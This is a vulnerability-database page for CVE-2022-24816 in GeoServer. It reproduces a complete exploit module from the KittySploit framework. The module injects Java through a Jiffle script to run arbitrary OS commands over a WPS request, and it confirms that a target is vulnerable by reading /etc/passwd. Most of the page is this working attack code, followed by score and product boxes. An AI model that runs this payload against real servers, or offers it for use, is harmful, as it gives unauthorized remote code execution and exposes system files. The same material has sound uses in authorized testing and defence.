GeoServer Jiffle WPS RCE (CVE-2022-24816)
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for Code Injection in Geosolutionsgroup Jai-Ext | 17 Jan 202512:50 | – | githubexploit | |
| CVE-2022-24816 | 13 Apr 202200:00 | – | attackerkb | |
| CVE-2022-24816 | 14 Apr 202200:18 | – | circl | |
| OSGeo GeoServer JAI-EXT Code Injection Vulnerability | 26 Jun 202400:00 | – | cisa_kev | |
| CISA Adds Three Known Exploited Vulnerabilities to Catalog | 26 Jun 202412:00 | – | cisa | |
| JAI-EXT 代码注入漏洞 | 13 Apr 202200:00 | – | cnnvd | |
| CVE-2022-24816 | 13 Apr 202220:45 | – | cve | |
| CVE-2022-24816 Improper Control of Generation of Code in jai-ext | 13 Apr 202220:45 | – | cvelist | |
| GeoServer Jai-EXT RCE (CVE-2022-24816) | 6 Aug 202400:00 | – | nessus | |
| Improper Control of Generation of Code ('Code Injection') in jai-ext | 19 Sep 202320:35 | – | github |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GeoServer Jiffle/Janino WPS RCE (CVE-2022-24816)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'GeoServer Jiffle WPS RCE (CVE-2022-24816)',
'description': (
'Exploits CVE-2022-24816 in GeoServer via WPS ras:Jiffle: malicious Jiffle '
'script is compiled through Janino into Java for remote code execution.'
),
'author': ['KittySploit Team', 'Synacktiv'],
'cve': ['CVE-2022-24816'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2022-24816',
'https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html',
],
'tags': ['geoserver', 'wps', 'jiffle', 'rce', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2022_24816_detect'],
},
},
}
wms_path = OptString('/geoserver/wms', 'GeoServer WMS/WPS endpoint', required=False)
def _jiffle_xml(self, cmd: str) -> str:
safe = str(cmd).replace('"', '\\"')
jiffle = (
'dest = y() - (500); // */ public class Double {'
' public static double NaN = 0;'
' static { try {'
' java.io.BufferedReader reader = new java.io.BufferedReader('
'new java.io.InputStreamReader('
f'java.lang.Runtime.getRuntime().exec("{safe}").getInputStream()));'
' String line = null; String allLines = " - ";'
' while ((line = reader.readLine()) != null) { allLines += line; }'
' throw new RuntimeException(allLines);'
'} catch (java.io.IOException e) {} }} /**'
)
return f'''<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs"
xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1"
xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink"
xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
<wps:Input>
<ows:Identifier>coverage</ows:Identifier>
<wps:Data>
<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>script</ows:Identifier>
<wps:Data>
<wps:LiteralData>{jiffle}</wps:LiteralData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>outputType</ows:Identifier>
<wps:Data>
<wps:LiteralData>DOUBLE</wps:LiteralData>
</wps:Data>
</wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
<wps:RawDataOutput mimeType="image/tiff">
<ows:Identifier>result</ows:Identifier>
</wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>'''
def execute(self, cmd: str) -> str:
path = str(self.wms_path or '/geoserver/wms').strip()
r = self.http_request(
method='POST',
path=path,
data=self._jiffle_xml(cmd),
headers={'Content-Type': 'application/xml'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:.*:0:0:', body or '') or 'ExceptionInInitializerError' in (body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2022-24816 Jiffle RCE confirmed',
'confidence': 'high',
}
return {'vulnerable': False, 'reason': 'No RCE indicators in WPS response', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
9Critical risk
Vulners AI Score9
CVSS 27.5
CVSS 3.110
EPSS0.99911
SSVC